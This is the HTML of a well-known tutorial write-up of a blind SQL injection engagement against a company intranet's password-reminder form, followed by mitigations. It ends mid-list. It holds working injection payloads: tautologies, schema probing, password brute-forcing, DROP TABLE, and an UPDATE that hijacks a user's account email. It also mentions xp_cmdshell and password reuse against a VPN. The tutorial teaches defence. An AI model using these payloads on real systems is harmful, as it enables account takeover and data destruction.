&lt;li&gt; &lt;a href=&quot;http://unixwiz.net/techtips/sql-injection.html#mail&quot;&gt; Mail me a password &lt;/a&gt; &lt;/li&gt;
&lt;li&gt; &lt;a href=&quot;http://unixwiz.net/techtips/sql-injection.html#other&quot;&gt; Other approaches &lt;/a&gt; &lt;/li&gt;
&lt;li&gt; &lt;a href=&quot;http://unixwiz.net/techtips/sql-injection.html#miti&quot;&gt; Mitigations &lt;/a&gt; &lt;/li&gt;
&lt;li&gt; &lt;a href=&quot;http://unixwiz.net/techtips/sql-injection.html#rsrc&quot;&gt; Other resources &lt;/a&gt; &lt;/li&gt;
&lt;/ul&gt;&lt;/div&gt;&quot;SQL Injection&quot; is subset of the an unverified/unsanitized user input vulnerability (&quot;buffer overflows&quot; are a different subset), and the idea is to convince the application to run SQL code that was not intended. If the application is creating SQL strings naively on the fly and then running them, it&#39;s straightforward to create some real surprises. &lt;br /&gt;
We&#39;ll note that this was a somewhat winding road with more than one wrong turn, and others with more experience will certainly have different -- and better -- approaches. But the fact that we were successful does suggest that we were not entirely misguided. &lt;br /&gt;
There have been other papers on SQL injection, including some that are much more detailed, but this one shows the rationale of &lt;b&gt;discovery&lt;/b&gt; as much as the process of &lt;b&gt;exploitation&lt;/b&gt;. &lt;br /&gt;
&lt;br clear=&quot;all&quot; /&gt;  &lt;h1 id=&quot;target&quot;&gt;The Target Intranet&lt;/h1&gt;This appeared to be an entirely custom application, and we had no prior knowledge of the application nor access to the source code: this was a &quot;blind&quot; attack. A bit of poking showed that this server ran Microsoft&#39;s IIS 6 along with ASP.NET, and this suggested that the database was Microsoft&#39;s SQL server: we believe that these techniques can apply to nearly any web application backed by any SQL server. &lt;br /&gt;
The login page had a traditional username-and-password form, but also an email-me-my-password link; the latter proved to be the downfall of the whole system. &lt;br /&gt;
When entering an email address, the system presumably looked in the user database for that email address, and mailed something to that address. Since &lt;b&gt;my&lt;/b&gt; email address is not found, it wasn&#39;t going to send &lt;b&gt;me&lt;/b&gt; anything. &lt;br /&gt;
So the first test in any SQL-ish form is to enter a single quote as part of the data: the intention is to see if they construct an SQL string literally without sanitizing. When submitting the form with a quote in the email address, we get a 500 error (server failure), and this suggests that the &quot;broken&quot; input is actually being parsed literally. Bingo. &lt;br /&gt;
We speculate that the underlying SQL code looks something like this: &lt;br /&gt;
&lt;pre class=&quot;codeblock&quot;&gt;SELECT &lt;i&gt;fieldlist&lt;/i&gt;
  FROM &lt;i&gt;table&lt;/i&gt;
 WHERE &lt;i&gt;field&lt;/i&gt; = &#39;&lt;span class=&quot;snip&quot;&gt;$EMAIL&lt;/span&gt;&#39;;
&lt;/pre&gt;Here, &lt;span class=&quot;snip&quot;&gt;$EMAIL&lt;/span&gt; is the address submitted on the form by the user, and the larger query provides the quotation marks that set it off as a literal string. We don&#39;t know the specific &lt;i&gt;names&lt;/i&gt; of the fields or table involved, but we do know their &lt;i&gt;nature&lt;/i&gt;, and we&#39;ll make some good guesses later. &lt;br /&gt;
When we enter &lt;span class=&quot;snip&quot;&gt;steve@unixwiz.net&#39;&lt;/span&gt; - note the closing quote mark - this yields constructed SQL: &lt;br /&gt;
&lt;pre class=&quot;codeblock&quot;&gt;SELECT &lt;i&gt;fieldlist&lt;/i&gt;
  FROM &lt;i&gt;table&lt;/i&gt;
 WHERE &lt;i&gt;field&lt;/i&gt; = &#39;&lt;span class=&quot;snip&quot;&gt;steve@unixwiz.net&#39;&lt;/span&gt;&#39;;
&lt;/pre&gt;when this is executed, the SQL parser find the extra quote mark and aborts with a syntax error. How this manifests itself to the user depends on the application&#39;s internal error-recovery procedures, but it&#39;s usually different from &quot;email address is unknown&quot;. This error response is a dead giveaway that user input is not being sanitized properly and that the application is ripe for exploitation. &lt;br /&gt;
Since the data we&#39;re filling in appears to be in the &lt;b&gt;WHERE&lt;/b&gt; clause, let&#39;s change the nature of that clause &lt;i&gt;in an SQL legal way&lt;/i&gt; and see what happens. By entering &lt;span class=&quot;snip&quot;&gt;anything&#39; OR &#39;x&#39;=&#39;x&lt;/span&gt;, the resulting SQL is: &lt;br /&gt;
&lt;pre class=&quot;codeblock&quot;&gt;SELECT &lt;i&gt;fieldlist&lt;/i&gt;
  FROM &lt;i&gt;table&lt;/i&gt;
 WHERE &lt;i&gt;field&lt;/i&gt; = &#39;&lt;span class=&quot;snip&quot;&gt;anything&#39; OR &#39;x&#39;=&#39;x&lt;/span&gt;&#39;;
&lt;/pre&gt;Because the application is not really thinking about the query - merely constructing a string - our use of quotes has turned a single-component &lt;b&gt;WHERE&lt;/b&gt; clause into a two-component one, and the &lt;b&gt;&#39;x&#39;=&#39;x&#39;&lt;/b&gt; clause is &lt;b&gt;guaranteed to be true&lt;/b&gt; no matter what the first clause is (there is a better approach for this &quot;always true&quot; part that we&#39;ll touch on later). &lt;br /&gt;
But unlike the &quot;real&quot; query, which should return only a single item each time, this version will essentially return every item in the members database. The only way to find out what the application will do in this circumstance is to try it. Doing so, we were greeted with: &lt;br /&gt;
&lt;blockquote&gt; &lt;hr /&gt; Your login information has been mailed to &lt;i&gt;random.person@example.com&lt;/i&gt;. &lt;hr /&gt;&lt;/blockquote&gt;Our best guess is that it&#39;s the &lt;i&gt;first&lt;/i&gt; record returned by the query, effectively an entry taken at random. This person really did get this forgotten-password link via email, which will probably come as surprise to him and may raise warning flags somewhere. &lt;br /&gt;
We now know that we&#39;re able to manipulate the query to our own ends, though we still don&#39;t know much about the parts of it we cannot see. But we &lt;b&gt;have&lt;/b&gt; observed three different responses to our various inputs: &lt;br /&gt;
&lt;ul&gt;&lt;li&gt; &quot;Your login information has been mailed to &lt;i&gt;email&lt;/i&gt;&quot; &lt;/li&gt;
&lt;li&gt; &quot;We don&#39;t recognize your email address&quot; &lt;/li&gt;
&lt;li&gt; Server error &lt;/li&gt;
&lt;/ul&gt;The first two are responses to well-formed SQL, while the latter is for bad SQL: this distinction will be very useful when trying to guess the structure of the query. &lt;br /&gt;
&lt;h1 id=&quot;map&quot;&gt;Schema field mapping&lt;/h1&gt;The first steps are to guess some field names: we&#39;re reasonably sure that the query includes &quot;email address&quot; and &quot;password&quot;, and there may be things like &quot;US Mail address&quot; or &quot;userid&quot; or &quot;phone number&quot;. We&#39;d dearly love to perform a &lt;b&gt;SHOW TABLE&lt;/b&gt;, but in addition to not knowing the name of the table, there is no obvious vehicle to get the output of this command routed to us. &lt;br /&gt;
So we&#39;ll do it in steps. In each case, we&#39;ll show the whole query as we know it, with our own snippets shown specially.  We know that the tail end of the query is a comparison with the email address, so let&#39;s guess &lt;b&gt;email&lt;/b&gt; as the name of the field: &lt;br /&gt;
&lt;pre class=&quot;codeblock&quot;&gt;SELECT &lt;i&gt;fieldlist&lt;/i&gt;
  FROM &lt;i&gt;table&lt;/i&gt;
 WHERE &lt;i&gt;field&lt;/i&gt; = &#39;&lt;span class=&quot;snip&quot;&gt;x&#39; AND email IS NULL; --&lt;/span&gt;&#39;;
&lt;/pre&gt;The intent is to use a proposed field name (&lt;b&gt;email&lt;/b&gt;) in the constructed query and find out if the SQL is valid or not. We don&#39;t care about matching the email address (which is why we use a dummy &lt;b&gt;&#39;x&#39;&lt;/b&gt;), and the &lt;b&gt;--&lt;/b&gt; marks the start of an SQL comment. This is an effective way to &quot;consume&quot; the final quote provided by application and not worry about matching them. &lt;br /&gt;
If we get a server error, it means our SQL is malformed and a syntax error was thrown: it&#39;s most likely due to a bad field name. If we get any kind of valid response, we guessed the name correctly. This is the case whether we get the &quot;email unknown&quot; or &quot;password was sent&quot; response. &lt;br /&gt;
Note, however, that we use the &lt;b&gt;AND&lt;/b&gt; conjunction instead of &lt;b&gt;OR&lt;/b&gt;: this is intentional. In the SQL schema mapping phase, we&#39;re not really concerned with guessing any particular email addresses, and we do not want random users inundated with &quot;here is your password&quot; emails from the application - this will surely raise suspicions to no good purpose. By using the &lt;b&gt;AND&lt;/b&gt; conjunction with an email address that couldn&#39;t ever be valid, we&#39;re sure that the query will always return zero rows and never generate a password-reminder email. &lt;br /&gt;
Submitting the above snippet indeed gave us the &quot;email address unknown&quot; response, so now we know that the email address is stored in a field &lt;b&gt;email&lt;/b&gt;. If this hadn&#39;t worked, we&#39;d have tried &lt;b&gt;email_address&lt;/b&gt; or &lt;b&gt;mail&lt;/b&gt; or the like. This process will involve quite a lot of guessing. &lt;br /&gt;
Next we&#39;ll guess some other obvious names: password, user ID, name, and the like. These are all done one at a time, and anything other than &quot;server failure&quot; means we guessed the name correctly. &lt;br /&gt;
&lt;pre class=&quot;codeblock&quot;&gt;SELECT &lt;i&gt;fieldlist&lt;/i&gt;
  FROM &lt;i&gt;table&lt;/i&gt;
 WHERE &lt;b&gt;email&lt;/b&gt; = &#39;&lt;span class=&quot;snip&quot;&gt;x&#39; AND userid IS NULL; --&lt;/span&gt;&#39;;
&lt;/pre&gt;As a result of this process, we found several valid field names: &lt;br /&gt;
&lt;ul&gt;&lt;li&gt; email &lt;/li&gt;
&lt;li&gt; passwd &lt;/li&gt;
&lt;li&gt; login_id &lt;/li&gt;
&lt;li&gt; full_name &lt;/li&gt;
&lt;/ul&gt;There are certainly more (and a good source of clues is the names of the fields on &lt;b&gt;forms&lt;/b&gt;), but a bit of digging did not discover any. But we still don&#39;t know the name of the &lt;b&gt;table&lt;/b&gt; that these fields are found in - how to find out? &lt;br /&gt;
&lt;h1 id=&quot;findname&quot;&gt;Finding the table name&lt;/h1&gt;The application&#39;s built-in query already has the table name built into it, but we don&#39;t know what that name is: there are several approaches for finding that (and other) table names. The one we took was to rely on a &lt;b&gt;subselect&lt;/b&gt;. &lt;br /&gt;
A standalone query of &lt;br /&gt;
&lt;pre class=&quot;codeblock&quot;&gt;SELECT COUNT(*) FROM &lt;i&gt;tabname&lt;/i&gt;
&lt;/pre&gt;Returns the number of records in that table, and of course fails if the table name is unknown. We can build this into our string to probe for the table name: &lt;br /&gt;
&lt;pre class=&quot;codeblock&quot;&gt;SELECT email, passwd, login_id, full_name
  FROM &lt;i&gt;table&lt;/i&gt;
 WHERE &lt;b&gt;email&lt;/b&gt; = &#39;&lt;span class=&quot;snip&quot;&gt;x&#39; AND 1=(SELECT COUNT(*) FROM &lt;i&gt;tabname&lt;/i&gt;); --&lt;/span&gt;&#39;;
&lt;/pre&gt;We don&#39;t care how many records are there, of course, only whether the table name is valid or not. By iterating over several guesses, we eventually determined that &lt;b&gt;members&lt;/b&gt; was a valid table in the database. But is it the table used in &lt;b&gt;this&lt;/b&gt; query? For that we need yet another test using &lt;b&gt;table&lt;/b&gt;.&lt;b&gt;field&lt;/b&gt; notation: it only works for tables that are actually part of this query, not merely that the table exists. &lt;br /&gt;
&lt;pre class=&quot;codeblock&quot;&gt;SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = &#39;&lt;span class=&quot;snip&quot;&gt;x&#39; AND members.email IS NULL; --&lt;/span&gt;&#39;;
&lt;/pre&gt;When this returned &quot;Email unknown&quot;, it confirmed that our SQL was well formed and that we had properly guessed the table name. This will be important later, but we instead took a different approach in the interim. &lt;br /&gt;
&lt;h1 id=&quot;finduser&quot;&gt;Finding some users&lt;/h1&gt;At this point we have a partial idea of the structure of the &lt;b&gt;members&lt;/b&gt; table, but we only know of one username: the random member who got our initial &quot;Here is your password&quot; email. Recall that we never received the message itself, only the address it was sent to. We&#39;d like to get some more names to work with, preferably those likely to have access to more data. &lt;br /&gt;
The first place to start, of course, is the company&#39;s website to find who is who: the &quot;About us&quot; or &quot;Contact&quot; pages often list who&#39;s running the place. Many of these contain email addresses, but even those that don&#39;t list them can give us some clues which allow us to find them with our tool. &lt;br /&gt;
The idea is to submit a query that uses the &lt;b&gt;LIKE&lt;/b&gt; clause, allowing us to do partial matches of names or email addresses in the database, each time triggering the &quot;We sent your password&quot; message and email. &lt;b&gt;Warning&lt;/b&gt;: though this reveals an email address each time we run it, it also actually sends that email, which may raise suspicions. This suggests that we take it easy. &lt;br /&gt;
We can do the query on email name or full name (or presumably other information), each time putting in the &lt;b&gt;%&lt;/b&gt; wildcards that &lt;b&gt;LIKE&lt;/b&gt; supports: &lt;br /&gt;
&lt;pre class=&quot;codeblock&quot;&gt;SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = &#39;&lt;span class=&quot;snip&quot;&gt;x&#39; OR full_name LIKE &#39;%Bob%&lt;/span&gt;&#39;;
&lt;/pre&gt;Keep in mind that even though there may be more than one &quot;Bob&quot;, we only get to see one of them: this suggests refining our &lt;b&gt;LIKE&lt;/b&gt; clause narrowly. &lt;br /&gt;
Ultimately, we may only need one valid email address to leverage our way in. &lt;br /&gt;
&lt;h1 id=&quot;pass&quot;&gt;Brute-force password guessing&lt;/h1&gt;One can certainly attempt brute-force guessing of passwords at the main login page, but many systems make an effort to detect or even prevent this. There could be logfiles, account lockouts, or other devices that would substantially impede our efforts, but because of the non-sanitized inputs, we have another avenue that is much less likely to be so protected. &lt;br /&gt;
We&#39;ll instead do actual password testing in our snippet by including the email name and password directly. In our example, we&#39;ll use our victim, &lt;b&gt;bob@example.com&lt;/b&gt; and try multiple passwords. &lt;br /&gt;
&lt;pre class=&quot;codeblock&quot;&gt;SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = &#39;&lt;span class=&quot;snip&quot;&gt;bob@example.com&#39; AND passwd = &#39;hello123&lt;/span&gt;&#39;;
&lt;/pre&gt;This is clearly well-formed SQL, so we don&#39;t expect to see any server errors, and we&#39;ll know we found the password when we receive the &quot;your password has been mailed to you&quot; message. Our mark has now been tipped off, but we do have his password. &lt;br /&gt;
This procedure can be automated with scripting in perl, and though we were in the process of creating this script, we ended up going down another road before actually trying it. &lt;br /&gt;
&lt;h1 id=&quot;noro&quot;&gt;The database isn&#39;t readonly&lt;/h1&gt;So far, we have done nothing but &lt;b&gt;query&lt;/b&gt; the database, and even though a &lt;b&gt;SELECT&lt;/b&gt; is readonly, that doesn&#39;t mean that &lt;b&gt;SQL&lt;/b&gt; is. SQL uses the semicolon for statement termination, and if the input is not sanitized properly, there may be nothing that prevents us from stringing our own unrelated command at the end of the query. &lt;br /&gt;
The most drastic example is: &lt;br /&gt;
&lt;pre class=&quot;codeblock&quot;&gt;SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = &#39;&lt;span class=&quot;snip&quot;&gt;x&#39;; DROP TABLE members; --&lt;/span&gt;&#39;;  -- Boom!
&lt;/pre&gt;The first part provides a dummy email address -- &lt;b&gt;&#39;x&#39;&lt;/b&gt; -- and we don&#39;t care what this query returns: we&#39;re just getting it out of the way so we can introduce an unrelated SQL command. This one attempts to drop (delete) the entire &lt;b&gt;members&lt;/b&gt; table, which really doesn&#39;t seem too sporting. &lt;br /&gt;
This shows that not only can we run separate SQL commands, but we can also modify the database. This is promising. &lt;br /&gt;
&lt;h1 id=&quot;addnew&quot;&gt;Adding a new member&lt;/h1&gt;Given that we know the partial structure of the &lt;b&gt;members&lt;/b&gt; table, it seems like a plausible approach to attempt adding a new record to that table: if this works, we&#39;ll simply be able to login directly with our newly-inserted credentials. &lt;br /&gt;
This, not surprisingly, takes a bit more SQL, and we&#39;ve wrapped it over several lines for ease of presentation, but our part is still one contiguous string: &lt;br /&gt;
&lt;pre class=&quot;codeblock&quot;&gt;SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = &#39;&lt;span class=&quot;snip&quot;&gt;x&#39;;&lt;/span&gt;
        &lt;span class=&quot;snip&quot;&gt;INSERT INTO members (&#39;email&#39;,&#39;passwd&#39;,&#39;login_id&#39;,&#39;full_name&#39;) &lt;/span&gt;
        &lt;span class=&quot;snip&quot;&gt;VALUES (&#39;steve@unixwiz.net&#39;,&#39;hello&#39;,&#39;steve&#39;,&#39;Steve Friedl&#39;);--&lt;/span&gt;&#39;;
&lt;/pre&gt;Even if we have actually gotten our field and table names right, several things could get in our way of a successful attack: &lt;br /&gt;
&lt;ol&gt;&lt;li&gt;We might not have enough room in the web form to enter this much text directly (though this can be worked around via scripting, it&#39;s much less convenient). &lt;/li&gt;
&lt;li&gt;The web application user might not have &lt;b&gt;INSERT&lt;/b&gt; permission on the &lt;b&gt;members&lt;/b&gt; table. &lt;/li&gt;
&lt;li&gt;There are undoubtedly other fields in the &lt;b&gt;members&lt;/b&gt; table, and some may &lt;i&gt;require&lt;/i&gt; initial values, causing the &lt;b&gt;INSERT&lt;/b&gt; to fail. &lt;/li&gt;
&lt;li&gt;Even if we manage to insert a new record, the application itself might not behave well due to the auto-inserted NULL fields that we didn&#39;t provide values for. &lt;/li&gt;
&lt;li&gt;A valid &quot;member&quot; might require not only a record in the &lt;b&gt;members&lt;/b&gt; table, but associated information in other tables (say, &quot;accessrights&quot;), so adding to one table alone might not be sufficient. &lt;/li&gt;
&lt;/ol&gt;In the case at hand, we hit a roadblock on either #4 or #5 - we can&#39;t really be sure -- because when going to the main login page and entering in the above username + password, a server error was returned. This suggests that fields we did not populate were vital, but nevertheless not handled properly. &lt;br /&gt;
A possible approach here is attempting to guess the other fields, but this promises to be a long and laborious process: though we may be able to guess other &quot;obvious&quot; fields, it&#39;s very hard to imagine the bigger-picture organization of this application. &lt;br /&gt;
We ended up going down a different road. &lt;br /&gt;
&lt;h1 id=&quot;mail&quot;&gt;Mail me a password&lt;/h1&gt;We then realized that though we are not able to add a new record to the &lt;b&gt;members&lt;/b&gt; database, we can &lt;b&gt;modify&lt;/b&gt; an existing one, and this proved to be the approach that gained us entry. &lt;br /&gt;
From a previous step, we knew that &lt;b&gt;bob@example.com&lt;/b&gt; had an account on the system, and we used our SQL injection to update his database record with &lt;b&gt;our&lt;/b&gt; email address: &lt;br /&gt;
&lt;pre class=&quot;codeblock&quot;&gt;SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = &#39;&lt;span class=&quot;snip&quot;&gt;x&#39;;&lt;/span&gt;
      &lt;span class=&quot;snip&quot;&gt;UPDATE members&lt;/span&gt;
      &lt;span class=&quot;snip&quot;&gt;SET email = &#39;steve@unixwiz.net&#39;&lt;/span&gt;
      &lt;span class=&quot;snip&quot;&gt;WHERE email = &#39;bob@example.com&lt;/span&gt;&#39;;
&lt;/pre&gt;After running this, we of course received the &quot;we didn&#39;t know your email address&quot;, but this was expected due to the dummy email address provided. The &lt;b&gt;UPDATE&lt;/b&gt; wouldn&#39;t have registered with the application, so it executed quietly. &lt;br /&gt;
We then used the regular &quot;I lost my password&quot; link - with the updated email address - and a minute later received this email: &lt;br /&gt;
&lt;pre class=&quot;email&quot;&gt;From: system@example.com
To: steve@unixwiz.net
Subject: Intranet login

This email is in response to your request for your Intranet log in information.
Your User ID is: bob
Your password is: hello
&lt;/pre&gt;Now it was now just a matter of following the standard login process to access the system as a high-ranked MIS staffer, and this was far superior to a perhaps-limited user that we might have created with our &lt;b&gt;INSERT&lt;/b&gt; approach. &lt;br /&gt;
We found the intranet site to be quite comprehensive, and it included - among other things - a list of all the users. It&#39;s a fair bet that many Intranet sites also have accounts on the corporate Windows network, and perhaps some of them have used the same password in both places. Since it&#39;s clear that we have an easy way to retrieve any Intranet password, and since we had located an open PPTP VPN port on the corporate firewall, it should be straightforward to attempt this kind of access. &lt;br /&gt;
We had done a spot check on a few accounts without success, and we can&#39;t really know whether it&#39;s &quot;bad password&quot; or &quot;the Intranet account name differs from the Windows account name&quot;. But we think that automated tools could make some of this easier. &lt;br /&gt;
&lt;h1 id=&quot;other&quot;&gt;Other Approaches&lt;/h1&gt;In this particular engagement, we obtained enough access that we did not feel the need to do much more, but other steps could have been taken. We&#39;ll touch on the ones that we can think of now, though we are quite certain that this is not comprehensive. &lt;br /&gt;
We are also aware that not all approaches work with all databases, and we can touch on some of them here. &lt;br /&gt;
&lt;dl class=&quot;defnlist&quot;&gt;&lt;dt&gt; Use xp_cmdshell &lt;/dt&gt;
&lt;dd&gt; Microsoft&#39;s SQL Server supports a stored procedure &lt;a href=&quot;http://msdn.microsoft.com/library/en-us/tsqlref/ts_xp_aa-sz_4jxo.asp&quot;&gt;xp_cmdshell &lt;/a&gt; that permits what amounts to arbitrary command execution, and if this is permitted to the web user, complete compromise of the webserver is inevitable. &lt;/dd&gt;&lt;dd&gt; What we had done so far was limited to the web application and the underlying database, but if we can run commands, the webserver itself cannot help but be compromised. Access to &lt;b&gt;xp_cmdshell&lt;/b&gt; is usually limited to administrative accounts, but it&#39;s possible to grant it to lesser users. &lt;/dd&gt;
&lt;dt&gt; Map out more database structure &lt;/dt&gt;
&lt;dd&gt;Though this particular application provided such a rich post-login environment that it didn&#39;t really seem necessary to dig further, in other more limited environments this may not have been sufficient. &lt;/dd&gt;&lt;dd&gt; Being able to systematically map out the available schema, including tables and their field structure, can&#39;t help but provide more avenues for compromise of the application. &lt;/dd&gt;&lt;dd&gt; One could probably gather more hints about the structure from other aspects of the website (e.g., is there a &quot;leave a comment&quot; page? Are there &quot;support forums&quot;?). Clearly, this is highly dependent on the application and it relies very much on making good guesses. &lt;/dd&gt;&lt;/dl&gt;&lt;h1 id=&quot;miti&quot;&gt;Mitigations&lt;/h1&gt;We believe that web application developers often simply do not think about &quot;surprise inputs&quot;, but security people do (including the bad guys), so there are three broad approaches that can be applied here. &lt;br /&gt;
&lt;dl class=&quot;defnlist&quot;&gt;&lt;dt&gt; Sanitize the input &lt;/dt&gt;
&lt;dd&gt; It&#39;s absolutely vital to sanitize user inputs to insure that they do not contain dangerous codes, whether to the SQL server or to HTML itself. One&#39;s first idea is to strip out &quot;bad stuff&quot;, such as quotes or semicolons or escapes, but this is a misguided attempt. Though it&#39;s easy to point out &lt;b&gt;some&lt;/b&gt; dangerous characters, it&#39;s harder to point to &lt;b&gt;all&lt;/b&gt; of them. &lt;/dd&gt;&lt;dd&gt; The language of the web is full of special characters and strange markup (including alternate ways of representing the same characters), and efforts to authoritatively identify all &quot;bad stuff&quot; are unlikely to be successful. &lt;/dd&gt;&lt;dd&gt; Instead, rather than &quot;remove known bad data&quot;, it&#39;s better to &quot;remove everything but known good data&quot;: this distinction is crucial.  Since - in our example - an email address can contain only these characters: &lt;/dd&gt;&lt;dd&gt; &lt;pre class=&quot;codeblock&quot;&gt;abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
0123456789
@.-_+
&lt;/pre&gt;&lt;/dd&gt;&lt;dd&gt; There is really no benefit in allowing characters that could not be valid, and rejecting them early - presumably with an error message - not only helps forestall SQL Injection, but also catches mere typos early rather than stores them into the database. &lt;/dd&gt;&lt;dd&gt; &lt;blockquote&gt;&lt;small&gt;Sidebar on email addresses&lt;/small&gt;&lt;hr /&gt;   It&#39;s important to note here that email addresses &lt;i&gt;in particular&lt;/i&gt; are troublesome to validate programmatically, because everybody seems to have his own idea about what makes one &quot;valid&quot;, and it&#39;s a shame to exclude a good email address because it contains a character you didn&#39;t think about. 
The only real authority is &lt;a href=&quot;http://rfc.net/rfc2822.html&quot;&gt;RFC 2822&lt;/a&gt; (which encompasses the more familiar RFC822), and it includes a fairly expansive definition of what&#39;s allowed. The truly pedantic may well wish to accept email addresses with ampersands and asterisks (among other things) as valid, but others - including this author - are satisfied with a reasonable subset that includes &quot;most&quot; email addresses. 
Those taking a more restrictive approach ought to be fully aware of the consequences of excluding these addresses, especially considering that better techniques (prepare/execute, stored procedures) obviate the security concerns which those &quot;odd&quot; characters present. 
&lt;hr /&gt;&lt;/blockquote&gt;&lt;/dd&gt;&lt;dd&gt; Be aware that &quot;sanitizing the input&quot; doesn&#39;t mean merely &quot;remove the quotes&quot;, because even &quot;regular&quot; characters can be troublesome. In an example where an integer ID value is being compared against the user input (say, a numeric PIN): &lt;/dd&gt;&lt;dd&gt; &lt;pre class=&quot;codeblock&quot;&gt;SELECT &lt;i&gt;fieldlist&lt;/i&gt;
  FROM &lt;i&gt;table&lt;/i&gt;
 WHERE id = &lt;span class=&quot;snip&quot;&gt;23 OR 1=1&lt;/span&gt;;  -- Boom! Always matches!
&lt;/pre&gt;&lt;/dd&gt;&lt;dd&gt; In practice, however, this approach is highly limited because there are so few fields for which it&#39;s possible to outright exclude many of the dangerous characters. For &quot;dates&quot; or &quot;email addresses&quot; or &quot;integers&quot; it may have merit, but for any kind of real application, one simply cannot avoid the other mitigations. &lt;/dd&gt;
&lt;dt&gt; Escape/Quotesafe the input &lt;/dt&gt;
&lt;dd&gt;Even if one might be able to sanitize a phone number or email address, one cannot take this approach with a &quot;name&quot; field lest one wishes to exclude the likes of Bill &lt;b&gt;O&#39;Reilly&lt;/b&gt; from one&#39;s application: a quote is simply a valid character for this field. &lt;/dd&gt;&lt;dd&gt; One includes an actual single quote in an SQL string by putting two of them together, so this suggests the obvious - but wrong! - technique of preprocessing every string to replicate the single quotes: &lt;/dd&gt;&lt;dd&gt; &lt;pre class=&quot;codeblock&quot;&gt;SELECT &lt;i&gt;fieldlist&lt;/i&gt;
  FROM customers
 WHERE name = &#39;&lt;span class=&quot;snip&quot;&gt;Bill O&#39;&#39;Reilly&lt;/span&gt;&#39;;  -- works OK
&lt;/pre&gt;&lt;/dd&gt;&lt;dd&gt; However, this naïve approach can be beaten because most databases support other string escape mechanisms. MySQL, for instance, also permits &lt;b&gt;\&#39;&lt;/b&gt; to escape a quote, so after input of &lt;span class=&quot;snip&quot;&gt;\&#39;; DROP TABLE users; --&lt;/span&gt; is &quot;protected&quot; by doubling the quotes, we get: &lt;/dd&gt;&lt;dd&gt; &lt;pre class=&quot;codeblock&quot;&gt;SELECT &lt;i&gt;fieldlist&lt;/i&gt;
  FROM customers
 WHERE name = &#39;&lt;span class=&quot;snip&quot;&gt;\&#39;&#39;; DROP TABLE users; --&lt;/span&gt;&#39;;  -- Boom!
&lt;/pre&gt;&lt;/dd&gt;&lt;dd&gt; The expression &lt;span class=&quot;snip&quot;&gt;&#39;\&#39;&#39;&lt;/span&gt; is a complete string (containing just one single quote), and the usual SQL shenanigans follow. It doesn&#39;t stop with backslashes either: there is Unicode, other encodings, and parsing oddities all hiding in the weeds to trip up the application designer. &lt;/dd&gt;&lt;dd&gt; Getting quotes right is &lt;b&gt;notoriously&lt;/b&gt; difficult, which is why many database interface languages provide a function that does it for you. When the same internal code is used for &quot;string quoting&quot; and &quot;string parsing&quot;, it&#39;s much more likely that the process will be done properly and safely. &lt;/dd&gt;&lt;dd&gt; Some examples are the MySQL function &lt;b&gt;mysql_real_escape_string()&lt;/b&gt; and perl DBD method &lt;b&gt;$dbh-&amp;gt;quote($value)&lt;/b&gt;. &lt;/dd&gt;&lt;dd&gt; &lt;b&gt;&lt;i&gt;These methods must be used&lt;/i&gt;&lt;/b&gt;. &lt;/dd&gt;
&lt;dt&gt; Use bound parameters (the &lt;b&gt;PREPARE&lt;/b&gt; statement) &lt;/dt&gt;
&lt;dd&gt;Though quotesafing is a good mechanism, we&#39;re still in the area of &quot;considering user input as SQL&quot;, and a much better approach exists: &lt;b&gt;bound parameters&lt;/b&gt;, which are supported by essentially all database programming interfaces. In this technique, an SQL statement string is created with placeholders - a question mark for each parameter - and it&#39;s compiled (&quot;prepared&quot;, in SQL parlance) into an internal form. &lt;/dd&gt;&lt;dd&gt; Later, this prepared query is &quot;executed&quot; with a list of parameters: &lt;/dd&gt;&lt;dd&gt; &lt;div class=&quot;blocklabel&quot;&gt;Example in perl&lt;/div&gt;&lt;pre class=&quot;codeblock&quot;&gt;$sth = $dbh-&amp;gt;prepare(&quot;SELECT email, userid FROM members WHERE email = &lt;span class=&quot;snip&quot;&gt;?&lt;/span&gt;;&quot;);

$sth-&amp;gt;execute(&lt;span class=&quot;snip&quot;&gt;$email&lt;/span&gt;);
&lt;/pre&gt;&lt;/dd&gt;&lt;dd&gt; Thanks to Stefan Wagner, this demonstrates bound parameters in Java: &lt;/dd&gt;&lt;dd&gt; &lt;div class=&quot;blocklabel&quot;&gt;Insecure version&lt;/div&gt;&lt;pre class=&quot;codeblock&quot;&gt;Statement s = connection.createStatement();
ResultSet rs = s.executeQuery(&quot;SELECT email FROM member WHERE name = &quot;
                             + &lt;span class=&quot;snip&quot;&gt;formField&lt;/span&gt;); // *boom*
&lt;/pre&gt;&lt;/dd&gt;&lt;dd&gt; &lt;div class=&quot;blocklabel&quot;&gt;Secure version&lt;/div&gt;&lt;pre class=&quot;codeblock&quot;&gt;PreparedStatement ps = connection.prepareStatement(
    &quot;SELECT email FROM member WHERE name = &lt;span class=&quot;snip&quot;&gt;?&lt;/span&gt;&quot;);
ps.setString(1, &lt;span class=&quot;snip&quot;&gt;formField&lt;/span&gt;);
ResultSet rs = ps.executeQuery();
&lt;/pre&gt;&lt;/dd&gt;&lt;dd&gt; Here, &lt;b&gt;$email&lt;/b&gt; is the data obtained from the user&#39;s form, and it is passed as positional parameter #1 (the first question mark), and at no point do the contents of this variable have anything to do with SQL statement parsing. Quotes, semicolons, backslashes, SQL comment notation - none of this has any impact, because it&#39;s &quot;just data&quot;. There simply is nothing to subvert, so the application is be largely immune to SQL injection attacks. &lt;/dd&gt;&lt;dd&gt; There also may be some performance benefits if this prepared query is reused multiple times (it only has to be parsed &lt;i&gt;once&lt;/i&gt;), but this is minor compared to the &lt;b&gt;enormous&lt;/b&gt; security benefits. This is probably the single most important step one can take to secure a web application. &lt;/dd&gt;
&lt;dt&gt; Limit database permissions and segregate users &lt;/dt&gt;
